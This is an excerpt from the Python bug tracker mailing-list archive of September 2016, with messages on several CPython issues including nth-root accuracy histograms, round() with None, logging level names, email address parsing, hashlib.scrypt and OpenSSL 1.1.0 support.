Things look very different for small n.  Like:

n = 2
    x**(1/n)
           -1     1
            0   997
            1     2
    with 1 native-precision step
           -1   117
            0   772
            1   111
    with 1 extended-precision step
        all correct

1/2 is exactly representable, so errors are few.  But doing a native-precsion "correction" made results significantly worse.

n=3 is more interesting, because 1/3 is not exactly representable:

n = 3
    x**(1/n)
          -55     1
          -54     2
          -53     2
          -52     1
          -51     3
          -50     3
          -49     2
          -48     3
          -47     4
          -46     2
          -45     6
          -44     5
          -43     7
          -42     5
          -41     6
          -40     4
          -39     7
          -38     7
          -37     8
          -36     7
          -35     5
          -34     8
          -33     8
          -32    14
          -31     8
          -30     9
          -29    15
          -28    13
          -27    21
          -26    14
          -25     7
          -24    14
          -23    15
          -22     7
          -21    18
          -20    14
          -19    12
          -18    17
          -17     8
          -16    13
          -15    15
          -14     9
          -13    10
          -12    14
          -11    11
          -10     7
           -9    10
           -8    14
           -7    11
           -6     7
           -5    11
           -4    12
           -3    12
           -2    12
           -1     8
            0    12
            1     7
            2    11
            3    11
            4    12
            5     5
            6     9
            7    14
            8    12
            9     8
           10    14
           11    15
           12    13
           13    12
           14     9
           15    15
           16    17
           17     9
           18    10
           19    17
           20    15
           21     9
           22     9
           23     6
           24    11
           25    20
           26    24
           27    21
           28    16
           29    11
           30    12
           31     3
           32    11
           33    12
           34    11
           35    11
           36     2
           37     8
           38     8
           39     9
           40     3
           41     5
           42     4
           43     7
           44     4
           45     7
           46     5
           47     3
           48     4
           50     2
           53     3
           54     3
           56     1
    with 1 native-precision step
           -1    42
            0   917
            1    41
    with 1 extended-precision step
        all correct

There a single native-precision step helped a lot overall.  But for n=4 (where 1/n is again exactly representable), it again hurts:

n = 4
    x**(1/n)
            0   999
            1     1
    with 1 native-precision step
           -1    50
            0   894
            1    56
    with 1 extended-precision step
        all correct

And at n=5 it helps again; etc.

Of course my story hasn't changed ;-)  That is, use the single-step extended-precision code.  It's "almost always" correctly rounded (I still haven't seen a case where it isn't, and the test code here assert-fails if it finds one), and is plenty fast.  The reason this code gets very visibly slower as `n` increases is due to using the always-correctly-rounded `nroot()` for comparison.

----------
Added file: http://bugs.python.org/file44339/roots.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Thu Sep  1 21:03:11 2016
From: report at bugs.python.org (Caleb Hattingh)
Date: Fri, 02 Sep 2016 01:03:11 +0000
Subject: [issue15663] Investigate providing Tcl/Tk 8.6 with OS X installers
In-Reply-To: <1345022434.53.0.691858342769.issue15663@psf.upfronthosting.co.za>
Message-ID: <1472778191.72.0.94040304123.issue15663@psf.upfronthosting.co.za>


Changes by Caleb Hattingh <caleb.hattingh at gmail.com>:


----------
nosy: +cjrh

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15663>
_______________________________________

From report at bugs.python.org  Thu Sep  1 21:17:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 02 Sep 2016 01:17:09 +0000
Subject: [issue12885] distutils.filelist.findall() fails on broken symlink in
 Py2.x
In-Reply-To: <1314971843.03.0.797964996491.issue12885@psf.upfronthosting.co.za>
Message-ID: <20160902011706.57571.52863.9A5FBB5A@psf.io>


Roundup Robot added the comment:

New changeset 79422fab2ef4 by Jason R. Coombs in branch 'default':
Issue #12885: Merge with 3.5
https://hg.python.org/cpython/rev/79422fab2ef4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12885>
_______________________________________

From report at bugs.python.org  Thu Sep  1 21:17:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 02 Sep 2016 01:17:09 +0000
Subject: [issue12285] Unexpected behavior for 0 or negative processes in
 multiprocessing.pool()
In-Reply-To: <1307541329.07.0.743246465318.issue12285@psf.upfronthosting.co.za>
Message-ID: <20160902011706.57571.97568.54CCF438@psf.io>


Roundup Robot added the comment:

New changeset 941346104718 by Jason R. Coombs in branch '3.4':
Issue #12285: Add test capturing failure.
https://hg.python.org/cpython/rev/941346104718

New changeset 56c60b3d06fb by Jason R. Coombs in branch '3.4':
Issue #12285: Replace implementation of findall with implementation from Setuptools 7ce820d524db.
https://hg.python.org/cpython/rev/56c60b3d06fb

New changeset 13619a3e0737 by Jason R. Coombs in branch '3.4':
Issue #12285: Update NEWS
https://hg.python.org/cpython/rev/13619a3e0737

New changeset ade53661607a by Jason R. Coombs in branch '3.5':
Issue #12285: Merge with 3.4
https://hg.python.org/cpython/rev/ade53661607a

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12285>
_______________________________________

From report at bugs.python.org  Thu Sep  1 21:27:07 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 02 Sep 2016 01:27:07 +0000
Subject: [issue12885] distutils.filelist.findall() fails on broken symlink in
 Py2.x
In-Reply-To: <1314971843.03.0.797964996491.issue12885@psf.upfronthosting.co.za>
Message-ID: <1472779627.6.0.410931191422.issue12885@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

This code has been stable in Setuptools for some time, so I've pushed the code into the base.

----------
resolution:  -> fixed
status: open -> closed
versions:  -Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12885>
_______________________________________

From report at bugs.python.org  Thu Sep  1 22:03:33 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 02 Sep 2016 02:03:33 +0000
Subject: [issue12285] Unexpected behavior for 0 or negative processes in
 multiprocessing.pool()
In-Reply-To: <1307541329.07.0.743246465318.issue12285@psf.upfronthosting.co.za>
Message-ID: <1472781813.79.0.274047638982.issue12285@psf.upfronthosting.co.za>


Martin Panter added the comment:

Looks like that last lot was meant to reference Issue 12885

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12285>
_______________________________________

From report at bugs.python.org  Thu Sep  1 22:05:16 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 02 Sep 2016 02:05:16 +0000
Subject: [issue12885] distutils.filelist.findall() fails on broken symlink in
 Py2.x
In-Reply-To: <1314971843.03.0.797964996491.issue12885@psf.upfronthosting.co.za>
Message-ID: <1472781916.35.0.433144182438.issue12885@psf.upfronthosting.co.za>


Martin Panter added the comment:

I think you mixed up the bug number. You should probably fix Misc/NEWS.

New changeset 941346104718 by Jason R. Coombs in branch '3.4':
Issue #12285: Add test capturing failure.
https://hg.python.org/cpython/rev/941346104718

New changeset 56c60b3d06fb by Jason R. Coombs in branch '3.4':
Issue #12285: Replace implementation of findall with implementation from Setuptools 7ce820d524db.
https://hg.python.org/cpython/rev/56c60b3d06fb

New changeset 13619a3e0737 by Jason R. Coombs in branch '3.4':
Issue #12285: Update NEWS
https://hg.python.org/cpython/rev/13619a3e0737

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12885>
_______________________________________

From report at bugs.python.org  Thu Sep  1 22:07:31 2016
From: report at bugs.python.org (Tim Peters)
Date: Fri, 02 Sep 2016 02:07:31 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1472782051.38.0.731172031082.issue27761@psf.upfronthosting.co.za>


Tim Peters added the comment:

BTW, add this other way of writing a native-precision Newton step to see that it's much worse (numerically) than writing it in the "guess + small_correction" form used in roots.py.  Mathematically they're identical, but numerically they behave differently:


def native2(x, n):
    g = x**(1.0/n)
    if g**n == x:
        return g
    return ((n-1)*g + x/g**(n-1)) / n

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Thu Sep  1 22:10:55 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 02 Sep 2016 02:10:55 +0000
Subject: [issue12885] distutils.filelist.findall() fails on broken symlink in
 Py2.x
In-Reply-To: <1314971843.03.0.797964996491.issue12885@psf.upfronthosting.co.za>
Message-ID: <20160902021053.2964.72278.E27F9EB6@psf.io>


Roundup Robot added the comment:

New changeset 590d0de4ff48 by Jason R. Coombs in branch '3.4':
Issue #12885: Correct issue reference in NEWS
https://hg.python.org/cpython/rev/590d0de4ff48

New changeset 74ccec0bd442 by Jason R. Coombs in branch '3.5':
Issue #12885: Merge 3.4
https://hg.python.org/cpython/rev/74ccec0bd442

New changeset bfff89ed356b by Jason R. Coombs in branch 'default':
Issue #12885: Merge with 3.5
https://hg.python.org/cpython/rev/bfff89ed356b

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12885>
_______________________________________

From report at bugs.python.org  Thu Sep  1 22:20:26 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 02 Sep 2016 02:20:26 +0000
Subject: [issue12285] Unexpected behavior for 0 or negative processes in
 multiprocessing.pool()
In-Reply-To: <1307541329.07.0.743246465318.issue12285@psf.upfronthosting.co.za>
Message-ID: <1472782826.42.0.432022943333.issue12285@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

Yep. Sorry for the misfile.

----------
nosy: +jason.coombs

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12285>
_______________________________________

From report at bugs.python.org  Thu Sep  1 23:29:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 02 Sep 2016 03:29:44 +0000
Subject: [issue12885] distutils.filelist.findall() fails on broken symlink in
 Py2.x
In-Reply-To: <1314971843.03.0.797964996491.issue12885@psf.upfronthosting.co.za>
Message-ID: <20160902032941.90354.44722.3D4520F1@psf.io>


Roundup Robot added the comment:

New changeset e82b995d1a5c by Jason R. Coombs in branch '3.4':
Issue #12885: Revert commits in 3.4 branch which is security-only fixes.
https://hg.python.org/cpython/rev/e82b995d1a5c

New changeset a7ce98a4e9e4 by Jason R. Coombs in branch '3.5':
Issue #12885: Merge with 3.4, retaining commits reverted there.
https://hg.python.org/cpython/rev/a7ce98a4e9e4

New changeset fa82fabe9d65 by Jason R. Coombs in branch 'default':
Issue #12885: Merge with 3.5
https://hg.python.org/cpython/rev/fa82fabe9d65

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12885>
_______________________________________

From report at bugs.python.org  Thu Sep  1 23:30:49 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 02 Sep 2016 03:30:49 +0000
Subject: [issue12885] distutils.filelist.findall() fails on broken symlink in
 Py2.x
In-Reply-To: <1314971843.03.0.797964996491.issue12885@psf.upfronthosting.co.za>
Message-ID: <1472787049.59.0.0617530819757.issue12885@psf.upfronthosting.co.za>


Changes by Jason R. Coombs <jaraco at jaraco.com>:


----------
versions:  -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12885>
_______________________________________

From report at bugs.python.org  Fri Sep  2 00:09:02 2016
From: report at bugs.python.org (Lisa Roach)
Date: Fri, 02 Sep 2016 04:09:02 +0000
Subject: [issue27779] Sync-up docstrings in C version of the the decimal module
In-Reply-To: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za>
Message-ID: <1472789342.47.0.227364470824.issue27779@psf.upfronthosting.co.za>


Lisa Roach added the comment:

I will start working on the patch for this!

Thanks for pointing me this way, Raymond.

----------
nosy: +lisroach

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27779>
_______________________________________

From report at bugs.python.org  Fri Sep  2 00:30:55 2016
From: report at bugs.python.org (Robert Jordens)
Date: Fri, 02 Sep 2016 04:30:55 +0000
Subject: [issue27929] asyncio.AbstractEventLoop.sock_connect broken for
 AF_BLUETOOTH
In-Reply-To: <1472738395.77.0.643111482192.issue27929@psf.upfronthosting.co.za>
Message-ID: <1472790655.67.0.740728106616.issue27929@psf.upfronthosting.co.za>


Robert Jordens added the comment:

https://github.com/python/cpython/blob/master/Lib/asyncio/selector_events.py#L394
https://github.com/python/asyncio/blob/master/asyncio/selector_events.py#L394

AF_UNIX is special-cased.
Maybe AF_BLUETOOTH and others should use that same special treatment.
Or maybe only AF_INET, AF_INET6 should attempt resolving.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27929>
_______________________________________

From report at bugs.python.org  Fri Sep  2 01:09:40 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Fri, 02 Sep 2016 05:09:40 +0000
Subject: [issue25750] tp_descr_get(self, obj,
 type) is called without owning a reference to "self"
In-Reply-To: <1448654213.28.0.807225788685.issue25750@psf.upfronthosting.co.za>
Message-ID: <1472792980.0.0.125541471809.issue25750@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

I haven't seen any crashes in the wild here, but this is still the case in the latest code base. The change doesn't seem invasive, so I don't see why it shouldn't get implemented.

----------
nosy: +pitrou, scoder, serhiy.storchaka
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25750>
_______________________________________

From report at bugs.python.org  Fri Sep  2 01:19:04 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Fri, 02 Sep 2016 05:19:04 +0000
Subject: [issue23996] _PyGen_FetchStopIterationValue() crashes on unnormalised
 exceptions
In-Reply-To: <1429386313.82.0.910239252026.issue23996@psf.upfronthosting.co.za>
Message-ID: <1472793544.45.0.814808599038.issue23996@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

Looks like I forgot about this. My final fix still hasn't been applied, so the code in Py3.4+ is incorrect now.

No, this cannot be tested from the Python level.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23996>
_______________________________________

From report at bugs.python.org  Fri Sep  2 02:32:22 2016
From: report at bugs.python.org (=?utf-8?q?Ond=C5=99ej_Medek?=)
Date: Fri, 02 Sep 2016 06:32:22 +0000
Subject: [issue27935] logging level FATAL missing in _nameToLevel
Message-ID: <1472797942.24.0.349970976143.issue27935@psf.upfronthosting.co.za>


New submission from Ond?ej Medek:

logging.__init__._nameToLevel is missing 'FATAL' key:

>>> logging.getLevelName('FATAL')
'Level FATAL'

Expected same as:
>>> logging.getLevelName('CRITICAL')
50

----------
components: Library (Lib)
messages: 274204
nosy: Ond?ej Medek
priority: normal
severity: normal
status: open
title: logging level FATAL missing in _nameToLevel
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27935>
_______________________________________

From report at bugs.python.org  Fri Sep  2 02:52:55 2016
From: report at bugs.python.org (Jonatan Skogsfors)
Date: Fri, 02 Sep 2016 06:52:55 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
Message-ID: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>


New submission from Jonatan Skogsfors:

Theo error handling for round is different for float and int. 

Python 3.5.1 (default, Apr 18 2016, 11:46:32) 
[GCC 4.2.1 Compatible Apple LLVM 7.3.0 (clang-703.0.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> round(1.0, None)
1
>>> round(1, None)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object cannot be interpreted as an integer

----------
messages: 274205
nosy: Jonatan Skogsfors
priority: normal
severity: normal
status: open
title: Inconsistent round behavior between float and int
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 02:55:41 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 02 Sep 2016 06:55:41 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <20160902065536.26505.60032.A137B1C9@psf.io>


Roundup Robot added the comment:

New changeset adbc7eec97f1 by Ethan Furman in branch 'default':
issue23591: add docs; code cleanup; more tests
https://hg.python.org/cpython/rev/adbc7eec97f1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Fri Sep  2 03:37:51 2016
From: report at bugs.python.org (SilentGhost)
Date: Fri, 02 Sep 2016 07:37:51 +0000
Subject: [issue27935] logging level FATAL missing in _nameToLevel
In-Reply-To: <1472797942.24.0.349970976143.issue27935@psf.upfronthosting.co.za>
Message-ID: <1472801871.08.0.330462638358.issue27935@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +vinay.sajip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27935>
_______________________________________

From report at bugs.python.org  Fri Sep  2 03:45:15 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 02 Sep 2016 07:45:15 +0000
Subject: [issue27931] Email parse IndexError <""@wiarcom.com>
In-Reply-To: <1472743779.07.0.918992764498.issue27931@psf.upfronthosting.co.za>
Message-ID: <1472802315.98.0.496788783754.issue27931@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Looking at the spec this is a valid angle addr. Not only et_angle_addr('<""@wiarcom.com> SIZE=28113')[0].addr_spec but also et_angle_addr('<""@wiarcom.com> SIZE=28113')[0].local_part fails for the same reason.

The problem exists in get_bare_quoted_string. When encounter bare '""', it returns a empty BareQuoteString. I write issue27931.patch to fix this.

----------
keywords: +patch
nosy: +xiang.zhang
Added file: http://bugs.python.org/file44340/issue27931.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27931>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:13:46 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 02 Sep 2016 08:13:46 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <1472804026.23.0.217669017032.issue27936@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

The different data types make different choices:

>>> from decimal import Decimal
>>> from fractions import Fraction
>>> (1).__round__(None)
Traceback (most recent call last):
  File "<pyshell#39>", line 1, in <module>
    (1).__round__(None)
TypeError: 'NoneType' object cannot be interpreted as an integer
>>> (1.0).__round__(None)
1
>>> Decimal(1).__round__(None)
Traceback (most recent call last):
  File "<pyshell#41>", line 1, in <module>
    Decimal(1).__round__(None)
TypeError: optional arg must be an integer
>>> Fraction(1, 1).__round__(None)
1
>>> from _pydecimal import Decimal
>>> Decimal(1).__round__(None)
1

For Fraction and _pydecimal, the behavior comes from using None as a placeholder (which is common and normal in pure python code).  For float there is explicit code to test for the None case.   For int, the None test was omitted (perhaps a mistake) and the error is raised by PyNumber_Index.

Looking through tests, only Lib/test/test_float.py tests for None being allowable.  Elsewhere, it seems to be an implementation detail.

The old Python 2 version of the round() function never let None be passed in (because it used PyArg_ParseTupleAndKeywords(args, kwds, "d|i:round").  That logic seems to get lost in the Python 3 version when __round__ was introduced.

To resolve the differences, I think the round() function should explicitly check for None and replace it with zero before calling the underling __round__ functions where we would allow variable according the needs of the implementation.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:17:25 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 02 Sep 2016 08:17:25 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <1472804245.15.0.912206754622.issue27936@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44341/fix_round_default_none.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:25:05 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 02 Sep 2016 08:25:05 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <1472804705.26.0.281108575047.issue27936@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


Added file: http://bugs.python.org/file44342/fix_round_default_none_with_test.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:25:14 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 02 Sep 2016 08:25:14 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <1472804714.34.0.431540158634.issue27936@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


Removed file: http://bugs.python.org/file44341/fix_round_default_none.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:30:59 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 02 Sep 2016 08:30:59 +0000
Subject: [issue27935] logging level FATAL missing in _nameToLevel
In-Reply-To: <1472797942.24.0.349970976143.issue27935@psf.upfronthosting.co.za>
Message-ID: <1472805059.55.0.227502795178.issue27935@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Though FATAL is not mentioned in the doc, but I think it should be added to getLevelName, just like how WARN is handled now:

>>> logging.getLevelName("WARN")
30

----------
keywords: +patch
nosy: +xiang.zhang
Added file: http://bugs.python.org/file44343/issue27935.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27935>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:33:08 2016
From: report at bugs.python.org (=?utf-8?q?Ond=C5=99ej_Medek?=)
Date: Fri, 02 Sep 2016 08:33:08 +0000
Subject: [issue27937] logging.getLevelName microoptimization
Message-ID: <1472805188.28.0.230242025346.issue27937@psf.upfronthosting.co.za>


New submission from Ond?ej Medek:

The logging.getLevelName contains code:

return _levelToName.get(level, _nameToLevel.get(level, ("Level %s" % level)))

I am still a Python beginner, but I think the most of the times the _nameToLevel.get is called unnecessarily. IMHO the code should be

return _levelToName.get(level, (_nameToLevel.get(level, ("Level %s" % level))))

or maybe better a classic if then style:
result = _levelToName.get(level)
if result is None:
   result = _nameToLevel.get(level, ("Level %s" % level))
return result

Since this function is called every time the LogRecord is created, I think it should be microoptimized.

----------
components: Library (Lib)
messages: 274210
nosy: Ond?ej Medek
priority: normal
severity: normal
status: open
title: logging.getLevelName microoptimization
type: performance
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27937>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:46:38 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 02 Sep 2016 08:46:38 +0000
Subject: [issue27937] logging.getLevelName microoptimization
In-Reply-To: <1472805188.28.0.230242025346.issue27937@psf.upfronthosting.co.za>
Message-ID: <1472805998.88.0.813083602726.issue27937@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

What's the meaning of the first method?

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27937>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:50:47 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 08:50:47 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <1472806247.48.0.453389442443.issue27936@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> I think the round() function should explicitly check for None and replace it with zero

That would be a change in behaviour: `round(x)` is not the same as `round(x, 0)`. For most types, `round(x)` returns an `int`, while `round(x, 0)` returns something of the same type as `x`. Instead, I think we should add the check for `None` to `int`s `__round__` implementation.

>>> round(1.3, 0)
1.0
>>> round(1.3)
1
>>> round(1.3, None)
1

----------
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:52:49 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 08:52:49 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <1472806369.3.0.426872669792.issue27936@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Ah, sorry; now that I've looked at the patch, I see I misunderstood. You're not replacing None with zero; you're replacing it with NULL.

Patch LGTM.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:55:34 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 08:55:34 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <1472806534.1.0.583479394968.issue27936@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

The test could be strengthened to add a check that the types of `round(x)` and `round(x, None)` match.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 05:03:28 2016
From: report at bugs.python.org (=?utf-8?q?Ond=C5=99ej_Medek?=)
Date: Fri, 02 Sep 2016 09:03:28 +0000
Subject: [issue27937] logging.getLevelName microoptimization
In-Reply-To: <1472805188.28.0.230242025346.issue27937@psf.upfronthosting.co.za>
Message-ID: <1472807008.58.0.0615741645254.issue27937@psf.upfronthosting.co.za>


Ond?ej Medek added the comment:

Which 'first' method do you mean?

logging.getLevelName() converts level (int) to level name (str). But due to the backward compatibility is also converts level name (str) to level (int).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27937>
_______________________________________

From report at bugs.python.org  Fri Sep  2 05:06:22 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 02 Sep 2016 09:06:22 +0000
Subject: [issue27937] logging.getLevelName microoptimization
In-Reply-To: <1472805188.28.0.230242025346.issue27937@psf.upfronthosting.co.za>
Message-ID: <1472807182.14.0.591948111031.issue27937@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

No, I mean this method you propose:

return _levelToName.get(level, (_nameToLevel.get(level, ("Level %s" % level))))

I cannot see any difference with the original code, except parentheses.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27937>
_______________________________________

From report at bugs.python.org  Fri Sep  2 05:07:36 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 02 Sep 2016 09:07:36 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472807256.93.0.619587635907.issue27928@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Here is a new patch with argument clinic, more tests and required keyword arguments.

----------
Added file: http://bugs.python.org/file44344/Add-hashlib.scrypt-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Fri Sep  2 05:11:53 2016
From: report at bugs.python.org (=?utf-8?q?Ond=C5=99ej_Medek?=)
Date: Fri, 02 Sep 2016 09:11:53 +0000
Subject: [issue27937] logging.getLevelName microoptimization
In-Reply-To: <1472805188.28.0.230242025346.issue27937@psf.upfronthosting.co.za>
Message-ID: <1472807513.21.0.271809113085.issue27937@psf.upfronthosting.co.za>


Ond?ej Medek added the comment:

That's probably my lack of Python knowledge. I have though that parentheses in ("Level %s" % level) cause lazy evaluation. If not, then this code has to be optimized by if-then, too.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27937>
_______________________________________

From report at bugs.python.org  Fri Sep  2 05:14:33 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 02 Sep 2016 09:14:33 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <1472807673.23.0.0681786978933.issue26470@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Bernard, where do you see HAVE_RAND_EGD in my patch or in any recent version of _ssl.c? There is no reference to HAVE_RAND_EGD. The patches use OPENSSL_NO_EGD.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Fri Sep  2 05:25:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 02 Sep 2016 09:25:58 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <1472808358.16.0.0265782825256.issue26470@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Yes, I plan to change this for Python 3.7 along with #27876.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Fri Sep  2 05:51:25 2016
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 02 Sep 2016 09:51:25 +0000
Subject: [issue27779] Sync-up docstrings in C version of the the decimal module
In-Reply-To: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za>
Message-ID: <1472809885.4.0.420565977985.issue27779@psf.upfronthosting.co.za>


Stefan Krah added the comment:

"hand written signatures" refers to the signatures that Argument Clinic would generate if it were used (but I don't want that).

So this is an example of a hand written signature:

    "is_infinite($self, /)\n--\n\n\"


I still wonder if people wouldn't be served better with concise docstrings, but then I'm generally in favor of a Unix manual page documentation style, so perhaps there's a cultural difference.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27779>
